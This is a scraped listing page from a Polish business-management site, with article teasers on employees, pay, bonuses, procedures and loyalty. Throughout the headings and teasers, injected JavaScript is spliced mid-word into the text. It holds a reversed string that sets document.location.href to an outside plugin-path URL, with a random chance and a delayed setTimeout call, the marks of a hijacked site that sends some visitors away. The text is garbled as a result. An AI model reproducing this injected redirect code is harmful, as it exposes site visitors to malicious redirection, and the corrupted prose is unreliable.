pracownicy • FRAME - unikalna metoda poprawiania efektyności biznesu

Prawo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do błędu

Pracownik powinien zawsze mieć prawo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = [...]

Kupiec czy szef produktu?

Jak zorganizować dział handlowy? To nie tylko kwestia nazwy, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if [...]

Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosunek toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do ryzyka

Własny biznes tym się różni od posady, że jest w nim wyraźnie zaznaczony element ryzyka i toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var [...]

Wiedza o zarządzaniu czy umiejętności?

Co decyduje o sukcesie menedżera? Czy bardziej jego umiejętności zarządzania, czy wiedza o pracy, którą nadzoruje? To zależy od pozycji, jaką pełni w organizacji, czyli od tego, na jakim szczeblu [...]

Za sukcesy nie nagrodzą, za porażki karzą

Dlatego lepiej się nie wychylać, a na każde działanie mieć podkładkę, a przynajmniej usprawiedliwienie. To naczelna zasada wielu korporacji i [...]

Rola premii

Premia toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = [...]

Procedury

Procedury toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = [...]

Płaca toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to cena za pracę

Ewentualnie skorygowana o jakość tego produktu. I jak każda cena podlega prawu podaży i popytu. Wszystkie próby regulowania jej, jak każde ograniczenie, podraża tylko koszt. A ten koszt każdy w [...]

Pracownicy nie planują

Ale menedżerowie już powinni. Pracownicy częs toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var [...]

Czy lojalność jest tańsza niż rekrutacja?

Chodzi oczywiście o lojalność pracowników. Kiedy pracownicy odchodzą, firma może zareagować na dwa sposoby. Może spróbować ich zatrzymać, najlepiej zanim podjęli decyzję o odejściu, a może się z [...]